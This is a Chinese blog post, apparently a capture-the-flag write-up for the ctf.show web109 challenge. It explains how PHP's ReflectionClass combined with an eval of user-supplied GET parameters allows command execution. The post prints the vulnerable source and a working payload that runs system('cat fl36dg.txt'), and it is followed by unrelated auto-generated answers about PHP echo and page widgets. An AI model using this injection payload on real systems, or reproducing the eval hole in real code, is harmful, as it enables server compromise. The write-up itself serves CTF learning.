php—利用反射类完成命令执行

原理
一、简述
ReflectionClass反射类在PHP5新加入,它可以与已定义的类建立映射关系,通过反射类可以对类操作

//定义一个类
class fuc{
static
function methond(){
	echo 'Hello World!';
	}
}
//建立fuc类的反射类
$rc = new ReflectionClass('fuc');
//通过反射类实例化fuc类
$fuc = $rc->newInstance();
//执行类方法
$fuc->method();

反射类不仅仅可以建立对类的映射,也可以建立对PHP基本方法的映射,并且返回基本方法执行的情况。因此可以通过建立反射类new ReflectionClass(system(‘cmd’))来执行命令

二、PHP源码
题目来源:ctf.show——web入门_web109

<?php 

/* 
# -*- coding: utf-8 -*- 
# @Author: h1xa 
# @Date:   2020-09-16 11:25:09 
# @Last Modified by:   h1xa 
# @Last Modified time: 2020-09-29 22:02:34 

*/ 


highlight_file(__FILE__); 
error_reporting(0); 
if(isset($_GET['v1']) && isset($_GET['v2'])){ 
    $v1 = $_GET['v1']; 
    $v2 = $_GET['v2']; 

    if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){ 
            eval("echo new $v1($v2());"); 
    } 

} 

?> 

三、方法及原理
已知了flag在./fl36dg.txt,命令执行system(‘cat fl36dg.txt’)获取flag,这里可以使用反射类new ReflectionClass()

即payload:?v1=ReflectionClass&v2=system('cat fl36dg.txt')

当新建ReflectionClass类并传入PHP代码时,会返回代码的运行结果,可以通过echo显示,即使传入了空的括号,代码依旧可以运行,且error_reporting(0)的存在阻止了报错

<?php
	error_reporting(0);
	echo new ReflectionClass(system('ls')());
?>


  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
### 回答1: 在 PHP 中,可以使用 `echo` 命令将字符串输出到浏览器或命令行窗口。 例如,要在浏览器中输出字符串 "Hello World!",可以使用以下代码: ```php <?php echo "Hello World!"; ?> ``` 执行此代码后,浏览器将显示 "Hello World!"。 要在命令行窗口中输出字符串,可以将上述代码保存为名为 `hello.php` 的文件,然后在命令行中运行以下命令: ``` php hello.php ``` 执行命令后,命令行窗口将显示 "Hello World!"。 ### 回答2: PHP的echo命令用于将字符串或变量的值输出到浏览器或命令行。可以在PHP脚本中使用echo命令来输出HTML代码或纯文本。 在PHP中,可以使用以下语法来使用echo命令: ```php echo "Hello World!"; ``` 上述代码将会在浏览器或命令行中输出字符串"Hello World!"。 除了输出字符串,echo命令还可以输出变量的值。例如: ```php $name = "John Doe"; echo "My name is " . $name; ``` 上述代码将会输出"My name is John Doe"。在这个例子中,使用了点操作符(.)来连接字符串和变量的值。 除了输出普通的字符串和变量的值,echo命令还可以输出HTML代码和动态生成的内容。例如: ```php $color = "red"; echo "<h1 style='color: " . $color . "'>This is a heading</h1>"; ``` 上述代码将会输出一个HTML标题(heading),并将其颜色设置为红色。 总结来说,echo命令PHP中一个用于输出字符串、变量、HTML代码和动态内容的常用命令。它可以将内容直接输出到浏览器或命令行,方便开发人员进行调试和展示。 ### 回答3: 在PHP中,`echo`是一个内置的输出语句,用于把字符串或变量输出到浏览器或命令行终端。 `echo`命令可以用来输出字符串常量,也可以用来输出包含变量的字符串。它可以输出多个参数,并且参数之间用逗号分隔。如果需要输出HTML标签,可以直接在字符串中包含HTML代码或使用HTML转义字符。 例如,以下代码演示了如何使用`echo`命令输出字符串和变量: ```php $name = "John"; $age = 25; echo "Hello World!"; // 输出字符串常量 echo "My name is " . $name . " and I am " . $age . " years old."; // 输出包含变量的字符串 ``` 执行以上代码,将会输出以下结果: ``` Hello World! My name is John and I am 25 years old. ``` 除了输出字符串和变量,`echo`命令还可以输出数组、对象和表达式的值。当输出数组或对象时,`echo`会把它们转换成字符串并输出。 需要注意的是,`echo`命令没有返回值,并且只能用于输出,不能用于赋值或条件判断。如果需要获取`echo`输出的内容,可以使用输出缓冲区的技术。 总之,PHP提供了`echo`命令用于输出字符串、变量、数组、对象和表达式的值,它是将内容发送到浏览器或命令行终端的一种简单有效的方式。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值